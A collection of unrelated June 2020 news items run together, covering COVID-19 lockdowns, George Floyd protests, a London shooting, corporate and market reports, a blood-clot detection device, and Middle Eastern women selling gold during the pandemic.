Zinc can be used on its own, or combined, (alloyed), with other metals and used to create objects. Zinc alloyed with copper makes brass which is used in plumbing and heating parts and equipment. This metal can also be combined with copper and tin to form bronze. Zinc is often used in fertilizers, as well as in the manufacturing of everything from tires to skin creams, roofing, sunscreen, batteries, paints, textiles, and TV screens. Think of a product and it could be likely that zinc was used somehow in its making.
With a Global Year-on-Year Growth of 80.2%, Huami Became the Market Leader in Indonesia, Italy, Spain and India.

SHENZHEN, China, June 5, 2020 /PRNewswire/ -- Huami (NYSE: HMI) with its self-owned brand Amazfit, ranked the Top 5 in terms of global watch shipment and market share in the first quarter of 2020, according to data from the International Data Corporation (IDC) Worldwide Quarterly Wearable Device Tracker. With a year-on-year growth of 80.2%, Huami greatly surpassed the overall growth rate of the adult watch market.

Despite challenging market conditions that have impacted the consumer electronics industry,

Huami ranked No,1 by market share (excluding kids' products) in Indonesia, Italy, Spain and India. Furthermore, Huami takes a record 58% share in Indonesia; 38% share in Italy; 24% share in Spain; 23% share in India. Huami also entered the top five for the first time in the US, the world's largest single watch market. Besides, Huami entered the top 3 by shipment (excluding kids' products) in Thailand; the top 4 in Russis and the top 5 in Brazil, France, Germany, Poland and China[2].

Unaudited financial results for the first quarter ended March 31, 2020 showed that Huami revenues reached RMB1,088.5 million (US$153.7 million), representing an increase of 36.1% from the first quarter of 2019. Total units shipped reached 7.6 million, compared with 5.6 million in the first quarter of 2019.

[1] According to data from the International Data Corporation (IDC) Worldwide Quarterly Wearable Device Tracker [2] According to data from the International Data Corporation (IDC) Worldwide Quarterly Wearable Device Tracker

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Congress leader Rahul Gandhi on Friday again questioned the government on coronavirus crisis and demanded it should tell people what it planned to do to tackle the spread of the virus.

He also shared on his Twitter handle charts on number of corona cases in different countries and their lockdowns which purportedly showed how the nationwide lockdown in India since March 25 had not helped control the spread of coronovirus compared with other nations. The Congress leader shared the graph showing corona cases in Italy, Spain, Germany, and the UK.

Rahul tweeted: "This is what a failed lockdown looks like."

This is what a failed lockdown looks like. pic.twitter.com/eGXpNL6Zhl  Rahul Gandhi (@RahulGandhi) June 5, 2020

"As COVID infections increase at an alarming rate, will the BJP-led government tell the citizens what's the plan ahead? Are the citizens allowed to know if our healthcare infrastructure is capable enough? Or will they continue to divert attention?"

"Ever since the lockdown started, MSMEs and industries have been repeatedly asking for direct support from the government but their voices are falling on deaf ears. When will the government wake up to the real problem?" the Congress leader asked.

With the biggest-ever jump of 9,851 new cases and 273 deaths in past 24 hours, the Covid-19 tally in India reached 2,26,770 on Friday. Of the total, 1,10,960 are active cases.
The theme for this years World Environment Day is biodiversity. This years event is being held in Colombia, in partnership with Germany. The basic objective of celebrating this day is to focus on environmental issues and try to find a solution involving governments, businesses and citizens. Last years theme was air pollution.



Though the novel coronavirus outbreak has wreaked havoc across the globe, one positive to come out of it is the drastic reduction in pollution. Lockdown and extended stay-at-home orders improved the quality of air. The two new studies that were published in the journal Geophysical Research Letters indicate that nitrogen dioxide pollution over northern China, Western Europe and the United States decreased nearly 60% in early 2020 from the same time last year.



However, as the process of reopening of activities has started, air pollution levels will again increase. With increase in C&I activities, the demand for electricity will increase. Electricity generation, being a major contributor to pollution, will again deteriorate air quality.



Per the U.S. Energy Information Administrations finding, nearly 32% of the carbon dioxide emitted in the United States in 2019 came from electricity generation. The companies belonging to the Zacks Utility Electric Power industry can play a major role in improving air quality and provide a permanent solution to lower air pollution.



A few utilities in the United States have already started working on becoming net-zero emission companies over next few decades. Despite an expected increase in electricity load over the next few decades, let us focus on four utilities among others that have taken the decision to offer electricity to consumers even when commercial, industrial, and other economic activities run at the full pace.



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Avista Corporation AVA, a Zacks Rank #3 (Hold) stock, has been providing clean and reliable energy to customers. The company has taken initiatives to supply 100% clean energy to customers by 2045. The Zacks Consensus Estimate for 2020 of $1.97 indicates a year-over-year increase of 13.2%. You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.



Xcel Energy XEL, a Zacks Rank #3 stock, is focusing on electricity generation from clean sources. It is working to reduce 80% carbon emissions by 2030 and generate 100% carbon-free electricity within 2050 from 2005 levels. The Zacks Consensus Estimate for 2020 earnings of $2.76 suggests a 4.6% year-over-year increase.



Duke Energy DUK, another Zacks Rank #3 stock, has started adding more clean electricity generation sources to the production portfolio through systematic capital investment. The company announced comprehensive plans to lower overall carbon footprint, which includes attaining at least 50% reduction by 2030 and net-zero emissions within 2050 from 2005 levels. The Zacks Consensus Estimate for 2020 earnings of $5.19 implies a year-over-year increase of 2.6%.



DTE Energy DTE is investing steadily to enhance renewable generation assets. The company aims to cut emissions by 50% by 2030 and 100% within 2050 from 2005 levels. It carries a Zacks Rank #3 at present. The Zacks Consensus Estimate for 2020 earnings of $6.51 points to a year-over-year increase of 3.3%.



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Police arrested a 19-year-old man in a 5am raid this morning as a two-year-old boy fights for his life in a coma after a gunman opened fire in a street.

The suspect was taken into custody on suspicion of attempted murder after Scotland Yard detectives carried out dawn raids at two North London homes.

It comes after the boy suffered a wound to the neck as the attacker sprayed bullets in a 'wanton act of indiscriminate violence', hitting three other people.

Police have pleaded for information on the 'abhorrent' attack in Harlesden, North West London, on Wednesday night after the shooter got away on a motorbike.

The boy, his mother, grandmother and two male teenagers had been walking to the older woman's home in a cul-de-sac at the time.

Police forensic officers looking for evidence yesteday in Harlesden North West London

A relative said the attacker carrying a handgun shot 19-year-old Rynell Seaton in the arm, before firing at the other man, Juane Youngsam, 18, as he fled.

The shooter then allegedly turned his fire on the mother, 27-year-old Piera Hutton, and the toddler as they tried to get away.

The grandmother, Lilian Serunkuma, escaped without injury. 'The baby is in a coma,' the relative added. 'I hope he pulls through.'

Residents were startled by screaming  including from the mother  as they rushed to help the victims after the shooting at 9.45pm on Wednesday.

Police officers probe the shooting in Harlesden yesterday as the investigation continues

They told of their shock at seeing the 'baby boy' being taken into an ambulance wrapped in a silver rescue blanket.

Valerie Miller, 63, who lives yards from the scene, said: 'It was very disturbing and quite unsettling.'

One of the men was seen being given first aid from a neighbour after a bullet appeared to pass through his shoulder. This morning, the toddler was in a 'serious but stable' condition at a central London hospital.

The injuries suffered by Miss Hutton and the two men were not life-threatening.

Police have pleaded for information on the 'abhorrent' attack in London on Wednesday night

A witness said the gunman, wearing a helmet and black clothes, fled on a motorbike driven by an accomplice.

Yesterday, it emerged that the family have campaigned against violent crime in London after a teenage relative was stabbed to death three years ago.

Miss Serunkuma's son Quamari Serunkuma-Barnes was killed near his school by a fellow 15-year-old.

Detective Chief Inspector Rick Sewart, of the Metropolitan Police's Trident gang crime unit, said of the latest attack: 'As a result of this terrible crime an innocent two-year-old boy is now seriously ill in hospital. This child was shot in a wanton act of indiscriminate violence.'

Police officers looking for evidence in Harlesden yesterday following Wednesday's shooting

Roy Smith, the Met's north west borough commander, said: 'As a child is battling for their life I urge everyone in the local community to support us by coming forward with any information that will help us make arrests.'

Extra armed patrols will be deployed in the area to calm residents' fears. A Section 60 order giving police stop and search powers was put in place.

Detective Chief Inspector Rick Sewart said: 'As result of this terrible crime an innocent two-year-old-boy is now seriously ill in hospital.

'This child was shot in a wanton act of indiscriminate violence. I know that people will be shocked and horrified that a little boy should be the victim of a gunman and I need the community to show their support for him, and his family, by telling police what they know.

Police forensic officers prepare to investigate in Harlesden yesteday after the shooting

'Anyone giving information will be fully supported and if you don't want to give your name you can call Crimestoppers, which is totally anonymous.

'But however you want to do it, make that call, and anyone who is doubtful should think of that little boy and his family's anguish.'

Dawn Butler, the Labour MP for Brent Central, said: 'We do not want criminal activities, killings or antisocial behaviour in Brent. We are a strong and vibrant community.'

North West Borough Commander Roy Smith, said: 'This violent incident in itself is shocking but even more abhorrent is the fact that one of the victims is a young child.

Police forensic officers looking for evidence in Harlesden yesterday following the shooting

'We are doing all that we can to bring these criminals to justice and I am working closely with the senior investigating officer from the Met's Trident Command who is leading the investigation.

'The Trident team are being supported by specialist detectives from across the Met along with officers from the North West Command Unit.

'We want to hear from anyone who might have any information which could help the investigation no matter how insignificant they feel it is.

'As a child is battling for their life I urge everyone in the local community to support us by coming forward with any information that will help us make arrests.'

Any witnesses or anyone with any information is asked to call police on 101 or contact the force via Twitter @MetCC with the reference CAD 8326/03JUN. To give information anonymously, contact Crimestoppers on 0800 555 111 or here
Filmmaker Boney Kapoor has informed throught a bunch of tweets that the three members of his household staff, who tested positive for coronavirus last month, have all now tested negative for the disease. Boney added that his 14-day quarantine has also ended.

Boney, who lives in Mumbai with his two daughters--actor Janhvi Kapoor and Khushi--has said his family is now safe. Happy to share that while my daughters & I had always been tested negative, our 3 staff members who had tested positive for Covid19, have fully recovered & tested negative. Our 14 day home quarantine period has also ended & we look forward to starting afresh, he wrote in a tweet on Friday. We pray for the speedy recovery of all the people who are recovering and to the rest, we urge you to Stay Safe by strictly following guidelines given by the Government, he added.

Happy to share that while my daughters & I had always been tested negative, our 3 staff members who had tested positive for Covid19, have fully recovered & tested negative. Our 14 day home quarantine period has also ended & we look forward to starting afresh @mybmc @MumbaiPolice  Boney Kapoor (@BoneyKapoor) June 5, 2020

Also read: Choked movie review: Anurag Kashyaps Netflix film cashes in on demonetisation

Boney also thanked the doctors and other health staff for their hard work. My family and I would like to thank the Doctors, healthcare workers, BMC, Mumbai Police, State and Central Government for their help and support not just to us but to all across Maharashtra and India. Together we shall overpower Covid19 virus, he wrote.

The film producer had earlier issued a written statement when the staff members had tested positive. It was shared on social media by Janhvi. Message from Boney Kapoor -- I would like to inform you that our house staff...has tested positive for Covid-19. He was unwell on Saturday evening, was sent for tests and kept in isolation, the statement read. Message from Boney Kapoor -- I would like to inform you that our house staff...has tested positive for Covid-19. He was unwell on Saturday evening, was sent for tests and kept in isolation, the statement read.

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Clip includes scenes of protest marches and instances of violence in the aftermath of unarmed Black mans death.

Twitter has disabled US President Donald Trumps campaign tribute video to George Floyd on its platform citing a copyright complaint.

The clip, which is a collation of photos and video of protest marches and instances of violence in the aftermath of Floyds death, has Trump speaking in the background.

According to US media outlet Politico, tweets by Trump campaign accounts @TeamTrump and @TrumpWarRoom 2020 included videos where the US president discusses Floyds death in Minneapolis, which he called a grave tragedy.

Floyds death last week after a fatal encounter with a police officer has led to nationwide protests. In widely circulated video footage, a white officer was seen kneeling on Floyds neck as Floyd gasped for air and repeatedly groaned, I cant breathe before passing out.





Twitter said on Thursday the video on the presidents campaign account was affected by its copyright policy.

We respond to valid copyright complaints sent to us by a copyright owner or their authorised representatives, a Twitter representative said.

The three-minute, 45-second video uploaded on Trumps YouTube channel was tweeted by his campaign on June 3.

The clip, which is still on YouTube, garnered more than 60,000 views and 13,000 likes. The video-streaming platforms parent Google did not immediately respond to a request for comment.

Backlash from Trump allies

The social media platform has been under fierce scrutiny from the Trump administration since it fact checked Trumps tweets about unsubstantiated claims of mail-in voting fraud. It also labelled a Trump tweet about protests in Minneapolis as glorifying violence.

Trump previously said fact checks were editorial decisions by Twitter and amounted to political activism. He said it should cost those companies their protection from lawsuits for what is posted on their platforms.

The president and his allies, who rely heavily on Twitter to attack their foes, have long accused the tech giant of targeting conservatives on social media by fact checking them or removing their posts.

Trump has pledged to introduce legislation that may scrap or weaken a law that shields social media companies from liability for content posted by their users.

Companies such as Twitter and Facebook are granted liability protection under Section 230 of the Communications Decency Act because they are treated as platforms, rather than publishers, which can face lawsuits over content.
KILL THEM ALL

Those were the words on a Facebook post by a Bexar County sheriffs deputy referring to rioters and looters at local protests over the death of George Floyd while in police custody  a statement that now could cost the deputy his job.

Justin Silva, a detention deputy at the downtown jail, was placed on administrative leave Thursday after Bexar County Sheriff Javier Salazar discovered the post and launched an investigation into its origin.

The post was extremely inappropriate and offensive, Salazar said in a statement. I can assure you that this post does not represent the views of the BCSO or any reputable law enforcement officer.

Obviously, those found committing illegal activities do face arrest, but the notion of killing anyone without justification is ludicrous, he said. The BCSO will continue to support and protect peaceful protests.

Silva, who the Sheriffs Office did not name, was identified by the San Antonio Express-News through social media posts.

Though Silva is not a patrol officer, Salazar said the deputys strong language was troublesome for anyone who wears a uniform or badge.

All deputies have been reminded of the consequences and implications of social media posts and the importance of on duty and off duty conduct, Salazar said. Misconduct will not be tolerated and will continue to be dealt with efficiently and effectively.

As the investigation proceeds, Salazar temporarily suspended Silvas peace officer license and required him to turn in his badge, credentials and county property.

The post, which began circulating on Facebook Wednesday, was later deleted  but not before someone took a screenshot and posted it online.

Captain Rackham whats your opinion on those rioting, looting, attacking innocent people and burning the city down? the post read, accompanied by an image from the movie Starship Troopers. On it are the words: Kill them all.

This is not the first time Silva has been disciplined. In 2018, he received a 10-day suspension after he engaged in a brawl outside a house party that he had attended with other deputies while off-duty.

Silva has worked at the Sheriffs Office for nearly seven years, according to OpenPayrolls.com, a website that tracks the salaries of government workers.

Salazars decision to place Silva on leave comes as throngs of demonstrators have poured into the streets, in San Antonio and across the U.S., to call for police reforms after Floyd, an unarmed black man from Houston died in Minneapolis last week. A white police officer had Floyd pinned to the ground with his knee on Floyds neck for nearly nine minutes, despite Floyds repeated cries for help. Three other officers assisted or stood by.

Salazar has become a vocal critic of the officers actions, on several occasions calling Floyds death murder.

While other public officials also have condemned it  including Police Chief William McManus, District Attorney Joe Gonzales and Mayor Ron Nirenberg  Salazar, who is running for reelection this year, has made a point of attending several downtown protests to discuss police reform with local protesters.

On ExpressNews.com: Bexar County sheriff steps up training after death of George Floyd in Minneapolis

Last week, Salazar required deputies in training at the Bexar County Sheriffs Academyto take a refresher course on preventing police misconduct.

Think about what happened in Minneapolis, he told them. A man is now dead, four officers have been terminated, and all four are probably going to face charges. All that could have been prevented had one of the officers stepped in and did the right thing.

On Monday, Salazar agreed to walk with Black Lives Matter demonstrators outside the Bexar County Courthouse.

Can you say black lives matter,? one woman asked him. Can you say, no police brutality here without repercussions,?

Black lives do matter, Salazar responded.

Maam, Ive personally arrested deputies for brutalizing people, he later added, referencing his record as a disciplinarian.

He briefly attended similar demonstrations Tuesday, though he had to leave after the crowd grew angry.

Theyre a young group, Salazar said afterward. Theyre just frustrated with whats going on in our country.

Staff Writer Taylor Pettaway contributed to this report.

Emilie Eaton is a criminal justice reporter in the San Antonio and Bexar County area. To read more from Emilie, become a subscriber. eeaton@express-news.net | Twitter: @emilieeaton
The study was recently published in Nature's Scientific Reports journal.Unlike what a biology textbook may show, blood vessels are not straight cylinders. They are tortuous, meaning they have complex curves, spirals and bends.When the blood reaches these curves, it makes changes to its fluid mechanics and interactions with the vessel wall. In a healthy person, these changes are in harmony with the tortuous microenvironment, but when diseased, these environments could lead to very complex flow conditions that activate proteins and cells that eventually lead to blood clots.Dr. Abhishek Jain, assistant professor, said a big challenge in medicine is the medical devices used to detect clots and assess anti-blood-clotting drug effects are entirely chemistry-based."They do not incorporate the flow through the naturally turning and twisting blood vessels, which are physical regulators of blood clotting," Jain said."Therefore, the readouts from these current static systems are not highly predictive, and often result in false positives or false negatives," added Jain.To approach the problem from a new angle, researchers in Jain's lab at Texas A&M designed a microdevice that mimics tortuous blood vessels and created a diseased microenvironment in which blood may rapidly clot underflow.They showed this biomimetic blood clotting device could be used to design and monitor drugs that are given to patients who suffer from clotting disorders.Jain said he can see several applications for the device, including critical care units and military trauma care units."It can be used in the detection of clotting disorders and used in precision medicine where you would want to monitor pro-thrombotic or anti-thrombotic therapies and optimize the therapeutic approach," Jain said.After developing the device, the team took it into the field for a pilot study. Working with Dr. Jun Teruya, chief of transfusion medicine at Texas Children's Hospital and Baylor College of Medicine, the team coordinated with clinicians to test the device with pediatric patients in critical care whose heart and lungs were not working properly.These patients were in need of an extracorporeal membrane oxygenation (ECMO) machine, which provides cardiac and respiratory support in exchange of oxygen and carbon dioxide.A common complication in ECMO is blood clotting, so patients are administered anticoagulants to prevent clotting. However, ECMO machines are also known to" eat" clotting proteins and platelets, which puts anticoagulated patients in further risk of bleeding. Anticoagulated pediatric patients on ECMO are especially prone to bleeding.Current chemically-based blood clotting tests are expensive, time-consuming, can be unreliable and require a skilled technician. Jain's team's tortuosity based microfluidic system doesn't require expensive chemicals, is quick, with results within 10-15 minutes, uses low blood sample volume and is easy to operate."The margin for error is essentially zero for these patients," Jain said."Therefore, it's imperative that all the tests, not just clotting tests, must work and provide clinicians with quick and reliable information about their patient so they can provide the best care possible," Jain added.By having the opportunity to test their system with real patients, Jain said his team was able to demonstrate that their design could detect bleeding in anticoagulated patients with low platelet counts, which can help guide doctors to make better evidence-based clinical decisions for their patients.For Jain and his team, the next stage is continued clinical studies to compare their approach to standard methods and hopefully demonstrate key performance advantages. (ANI)
A woman shouts at police June 2 at Lafayette Square in Washington. (Roberto Schmidt / AFP/Getty Images)

America is having a conversation with itself, in voices that ring with rage, despair  and, sometimes, hope.

For nearly two weeks, street protests have surged across the country, leaping cities and towns in an electrifying arc, reverberating far beyond the Minneapolis street corner where a white police officer put his knee on the neck of a black man, George Floyd, and kept it there for nearly nine minutes.

That image  and all it evoked about America's disturbing past and troubled present  was seared into the collective consciousness. Floyd's last words  "I can't breathe"  were at once a dying man's tragic plea and a distillation of multiplying national burdens.

The bubbles we all have been living in have popped, said Denita Hawkins, a laid-off fitness instructor from the Cleveland suburb of Strongsville, Ohio. A 35-year-old black woman, a mother of two sons, Hawkins wept when she, like countless others, witnessed Floyds fatal arrest on video, on Facebook.

A protest Sunday at the Minneapolis corner where a police officer knelt on George Floyd's neck for nearly nine minutes. (Elizabeth Flores / Star-Tribune)

8:46. The minutes and seconds it took a grown man to stop moving. At protests everywhere, the number became a rallying cry. Marking the clock's tick, protesters, on city streets and park lawns, lie prone, hands behind their backs as if cuffed.

America was founded on slavery, but its never truly sought to address this horrific past, said Lee Daugherty, the owner of a landmark now-shuttered LGBTQ-friendly bar in Dallas. We must put a mirror up to the face of America, and not put it down.

In this fraying, fraught moment, long-held assumptions and presumptions about public life in this country have suddenly become part of long-overdue daily discourse: about race and justice, the instruments of governance, the reach of law enforcement, the accountability of one citizen toward one another.

Police abuses, at protests meant to denounce that very phenomenon, are having a viral moment: an elderly man knocked down, resulting in criminal charges against two Buffalo, N.Y., police officers, or a young woman in Erie, Pa., seated and covering her face, toppled by a kick. All the while, the world has watched in alarm, as if a painting had suddenly been disfigured.

Story continues

Saturday saw what might have been the largest protests yet, with largely peaceful demonstrators thronging streets and squares in U.S. cities including Washington, New York, Philadelphia and Chicago. Reflecting the international reach of the anti-racism, anti-police-abuse message, big crowds also turned out in Sydney, London, Paris and Berlin.

The years serial upheavals  the public health emergency of the coronavirus outbreak that has killed more than 100,000, followed by the hammer blow of unemployment that has left tens of millions without a livelihood, then civil strife that engulfed one city after another  have touched almost every American family, whether directly or indirectly.

The pileup of events has left immense political polarization in its wake  but also a striking degree of common cause, even in a contentious election year.

Looting and vandalism that accompanied some demonstrations, especially in their early days, drew widespread condemnation. But public opinion polls suggest nearly two-thirds of Americans agree with protesters' aims of fighting racial inequality and stemming police abuses.

Youd have to live under a rock to not sympathize, said Andrew Kayes, a 46-year-old radiologist on the Hawaiian island of Maui.

Even so, many are reexamining norms that prevailed for much of their lives. Kayes, a white man married to a woman of Pacific Islander and Chinese descent, said he recalled people of different races getting along in the Cincinnati suburb where he was raised, but now wonders about his own perceptions of that time.

Maybe that was just my community, he said. Or did I have blinders on?

Others see a deep-rooted malignancy that has resisted decades of striving to eradicate it. In Dallas, Pastor Frederick Haynes has spent recent evenings poring over the words of slain civil rights leader Martin Luther King Jr., returning to one passage in particular.

The nation is sick. Trouble is in the land, confusion all around, King said in a sermon delivered in Memphis the day before his 1968 assassination. Today, more than half a century later, Haynes sees signs of that same sickness.

In the predominantly black south Dallas neighborhood where Haynes church of four decades is located, the names of slain black men and boys appear periodically, chalked on sidewalks and daubed on walls: Trayvon Martin. Eric Garner. Michael Brown.

Then came a new name: George Floyd. Spelled out in fresh letters, brighter than the rest.

The horrifying sight of Floyd's slow asphyxiation, for which Minneapolis police officer Derek Chauvin faces second-degree murder charges and three other officers are accused of standing by or taking part, hurt Haynes to his core, he said.

People protest at Pan Pacific Park in Los Angeles on May 30. (Kent Nishimura / Los Angeles Times)

For days, he marched along with thousands of others in punishing 90-degree heat, seeking respect and remembrance for a man he never met.

They didnt see him as a human, he said. We have to continue to raise our voices  we cannot stop.

The passage of time  from segregationist Jim Crow to the 1965 Voting Rights Act to to the martyred King in his coffin  and its shaping of the countrys racial and social edifice, has been on the minds of many even as new threats emerge. Social distancing, a watch-phrase for danger lurking, was sewn into the lexicon, like alt-right, radical leftist and all the syllables that keep us apart.

You have to understand that this is a generational frustration, said Michael Ingram, a 31-year-old Air Force veteran protesting in Seattle this week. Slavery, civil rights, busing, the complexity of the 80s, drugs, stop-and-frisk. Nobody ever gets a chance to heal before you pass it on to the next generation.

Ingram grew up in rural Georgia, where his grandfather was the area's first black principal of an integrated high school. Even now, living in a relatively progressive part of the country, he is sometimes unnerved by racial tensions.

Just because racism isnt overt doesnt mean its not there, he said. Sometimes you have to check co-workers, like, Hey, man, you cant say that, or do that.

But he believes understanding can grow with experience. A lot of people have changed who youd never have thought would open their minds, Ingram said.

President Trump holds a Bible outside St. John's Church near the White House on June 1. (Associated Press)

Still, some divides are hard to bridge. One afternoon this week, President Trump held up a Bible, posing for pictures in front of a historic church across from the White House, after police used chemical gas and projectiles to clear away peaceful protesters  moves for which he was widely criticized.

But Donna OLeary, 59, a political activist in Spokane Valley, Wash., saw an image of strength and piety.

I think that God put Trump here for a reason at this time, she said. And I think hes going to make the right decisions.

The president's threat to deploy active-duty military troops to dominate the streets of U.S. cities drew stinging rebukes, including from former Defense Secretary James N. Mattis, a venerated Marine retired general.

Trump held off, but an array of other federal forces  some without badges or insignia  fanned out in the nations capital, dressed in tactical gear.

At the Lincoln Memorial this week, law student Yinka Onayemi, 25, sat on the steps in the blazing sun, clutching a sign saying When does the/our American Dream Begin?

He said he hoped the protests would prompt a "restatement of American values."

A few yards away, members of the District of Columbias Air National Guard patrolled the neoclassical monument, the site of stirring episodes in the struggle for racial equality  including Kings 1963 I Have a Dream speech, during the March on Washington, and black contralto Marian Andersons 1939 performance after she was denied a stage elsewhere.

In downtown Atlanta, 20-year-old Aramide Akintomide walked past boarded-up storefronts, wondering aloud what was next. Nervous about being out during the unrest, the public health student hadnt taken part in protests, but said she believed in their aims.

It feels like a lot of change is going to happen for the good, she said, even if the current state of affairs feels "scary."

With past disappointments still raw, though, some are almost afraid to hope. Samantha Robinson, a black 27-year-old mother of two in Las Vegas, was involved for years with racial-justice causes, helping organize protests against police violence.

Despite reservations, she took to the streets this time around too, braving tear gas and rubber bullets. At the same time, she wondered if things would soon enough revert to old, unjust ways.

Its like nothing changes. I dont see things getting better, she said. What more do we need to do for you to see us, to hear us, to understand us?

Shes been having nightly conversations with her 6-year-old, Rahim, who wants to be a police officer when he grows up. Right now, thats a little hard for her to hear.

There are good cops out there, Mommy, Robinson said her little boy told her.

I let him know that there are, she said. But we also need them to stand up as well.

King reported from Washington, Lee from Dallas and Kaleem from Los Angeles. Times staff writers Richard Read in Seattle, Jenny Jarvie in Atlanta and Jake Sheridan in Charlotte, N.C. contributed to this report.
The logo of insurer Allianz SE is seen on the company building in Puteaux at the financial and business district of La Defense near Paris

FRANKFURT/HONG KONG (Reuters) - Allianz <ALVG.DE> is in talks with Chinese regulators for a licence as the German insurer looks to eventually offer broad asset management services in the world's second-largest economy.

Discussions for a licence to manage its own assets in China are at an early stage, Solmaz Altin, its chief executive in Asia, told Reuters, adding he hoped to launch the business in the first half of 2021.

Hong Kong's status as a global financial hub faces some uncertainty with the United States moving to eliminate its special status after Beijing announced it would impose a new national security law there.

"It is simply too early to tell what the Hong Kong situation will mean for our existing business or any future business," Altin said.

"We very much hope that reason will prevail and that we can continue to do business in Hong Kong in a very positive way internationally," he said.

Altin said Allianz aimed to boost annual revenue growth in Asia by up to 20% through 2025.

"We are doubling down on Asia, and we will not stop because of the virus," he said. "We are actually opening up new businesses (in Asia)."

Its revenue in Asia, where it has a presence in 14 countries, grew 104% in 2019.

Allianz CEO Oliver Baete has said fund management in China may hold more potential than the insurance business.

The insurer also plans to enter the Vietnam property and casualty market next year, perhaps with a minority equity partner, and is in talks with the regulator, Altin said.

Globally, Allianz oversees assets of more than 2 trillion euros for itself and third parties under the PIMCO and Allianz Global Investors brands.

In China, state-owned China Life <601628.SS> manages Allianz assets including life and non-life insurance joint ventures.

Allianz CEO Oliver Baete has said fund management in China may hold more potential than the insurance business.

(Reporting by Tom Sims in Frankfurt, Sumeet Chatterjee in Hong Kong and Alexander Huebner in Munich; editing by Jason Neely)
BEIRUT - Sarah Itani took her 2-year-old daughter's tiny bracelet, engraved with "Angie" in cursive, and handed it to the gold merchant. He weighed it, along with one of Itani's wedding bangles and a few other pieces of her daughter's jewelry, then offered her $84 for the modest collection.

She took the cash. Then she raced to the hospital to buy medicine for her young son. With her husband out of work, sent home because of the coronavirus lockdown in Lebanon, Itani said there was no other way to pay for the three doses of medicine their son so badly needed.

Across much of the Middle East, women pushed to desperation by the economic pressures of the pandemic have been selling off their gold.

Strict public health measures, coming on top of a severe economic downturn since the fall, have left many Lebanese families without income. More than a dozen jewelers across Beirut said their gold purchases had spiked after Lebanon imposed its lockdown in March, forcing businesses to shutter their doors and lay off their employees. Women like Itani unearthed their delicate gold chains and intricate bracelets - some even took off their wedding bands - and solemnly made their way to jewelers.

Itani's son had been hospitalized for more than a week, writhing in pain, before doctors diagnosed him with Kawasaki disease, a rare inflammatory illness. But the medicine was expensive, she said. Her family had no insurance, no income from her husband's former job in a clothing warehouse and no more cash left to spend.

"They took everything we had at the hospital," she said as she waited late last month to finish her transaction with the gold merchant.

The merchant who bought Itani's jewelry sold it in turn to another buyer, who would melt it down and sell it again to a wholesaler, like the company Boghos in Beirut's Armenian neighborhood of Bourj Hammoud.

"In Lebanon, we're already in a crisis," said Chris Boghos, the son of the company's owner. "The people who need cash to get milk, to pay rent . . . are being forced to sell," he said, adding that they're seeing women sell their wedding rings straight off their fingers.

For Middle Eastern women, the phrase "her gold" carries a weight beyond that of the precious metal. Newborn girls often receive gifts of gold earrings and necklaces but, most frequently, delicate gold bracelets bearing their names. A bride will traditionally receive a dowry of earrings, a bracelet or a necklace from the groom and his family, and "her gold" represents security, a last resort tucked away for hard times such as divorce or the death of a husband.

When a married woman sells her gold, it is often done with a sense of shame. It means that all other options have been exhausted - and is interpreted as the husband having failed his family.

"You understand what it's like," said one Lebanese merchant quietly, brushing aside a reporter's questions and returning to the task of appraising an array of ornate jewelry being offered to him. "This is extremely private."

Even as more women have been looking urgently to sell, gold shops have had difficulties maintaining their operations under the lockdown. In Beirut's poor Basta neighborhood, some merchants have begun making house calls to appraise and buy jewelry.

Mohammed Hoori, a gold merchant in Beirut, said he would sit outside his shuttered shop to receive customers, then hustle them inside. "People are going hungry," he said. "They want to feed their children."

In Baghdad, an Iraqi gold merchant named Haider Kadhim said he had also seen a spike in sales by desperate families who had lost work during the coronavirus lockdown.

"They are selling the gold they have. Not lots of quantities, but small stuff like rings and earrings, stuff that gets them around $300 so they can at least provide food," he said. The gold, he added, "is mostly from their weddings, which is supposed to be for women in their hard times."

Abu Salah, 51, a laborer who lost his work this spring, visited Kadhim's store after finally asking his wife's permission to sell her jewelry. "Since we were young, we learned that the wife's gold is hers only, and the man cannot do anything with it," he said.

The gold had been his wedding gift to his wife 30 years ago.

"I feel like less of a man for doing this. The man should be able to support his family, always, without touching his wife's gold," Abu Salah said. "I am ashamed of doing this. But now I have no other options."

Syrians have also been selling off their gold, said Ghassan Jazmati, head of the craft association for goldsmithery and jewelry-making in Damascus, in an interview with Syria's al-Thawra newspaper. He added that this trend reflects how badly Syrians need cash for basic needs, such as food and medicine, amid an economic crisis in that country that has as much to do with nine years of war as the pandemic.

Unlike in neighboring countries, most of those sales have been over social media. In April, as Syrians posted online photos of jewelry for sale at cut-rate prices, gold merchants feared that the market would collapse and lobbied the government to reopen stores that had been closed to fight the epidemic.

It is not just women who have long turned to gold as a traditional way to safeguard their wealth and save for emergencies. In many Middle Eastern countries, banks are often seen as untrustworthy or unreliable - recent banking crises in the region have reinforced those fears - and the kind of retirement savings programs available in the West are relatively rare.

But around the Middle East, coronavirus outbreaks have disrupted traditional gold markets. Dubai's gold souk, home to nearly 400 retailers, shut down in March to curb the spread of the disease and, even after reopening in late April, remained mostly empty of purchasers. In Egypt, gold production was cut because of falling domestic demand due in part to the postponement of weddings and other celebrations.

But even though worldwide demand for gold jewelry plummeted by 39% in the first quarter of 2020 compared with last year - a record low recorded in a quarterly report by the World Gold Council - the overall demand for gold is up as global investors seek safe assets during uncertain times. The price of gold fluctuated at the beginning of the pandemic, falling in late March before steadily rising more than 15% since then.

For one Egyptian woman, it was only when she lost all hope that she sought out the gold merchants. She had been planning to move overseas, but the pandemic cost her the research scholarship she was counting on. Her husband, a human rights advocate, had been forced to close his office after facing security issues, and with no job prospects of her own, she became despondent. She decided to sell 100 grams of gold to make ends meet.

"I had some gold jewelry that I never wanted to sell," said the woman, who spoke on the condition of anonymity because of the sensitive nature of her research. "All the pieces were very dear to my heart."

On the way to the merchant, she burst out crying, she recounted. "I had bought them with my own money. No one bought them for me, and that is why it hurt even more." The merchant, moved by her tears, urged her not to sell all the gold at once, but the woman said she had no choice.

"Every piece had a story. Every piece left a mark on me," she recalled.

Sometimes, she said, she still absent-mindedly brushes her neck where her necklace once was, only to remember that she has sold it.

- - -

The Washington Post's Mustafa Salim in Baghdad contributed to this report.
Source: Xinhua| 2020-06-05 17:34:01|Editor: huaxia

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BEIJING, June 5 (Xinhua) -- Chinese engineers plan to develop a new solid-fueled rocket with greater carrying capacity than the current model Long March-11 rocket, revealed China Aerospace Science and Technology Corporation sources.

The upgraded carrier rocket, called the Long March-11A, will be designed for both land and sea launches, and its cost is calculated at 10,000 U.S. dollars per kg of payload.

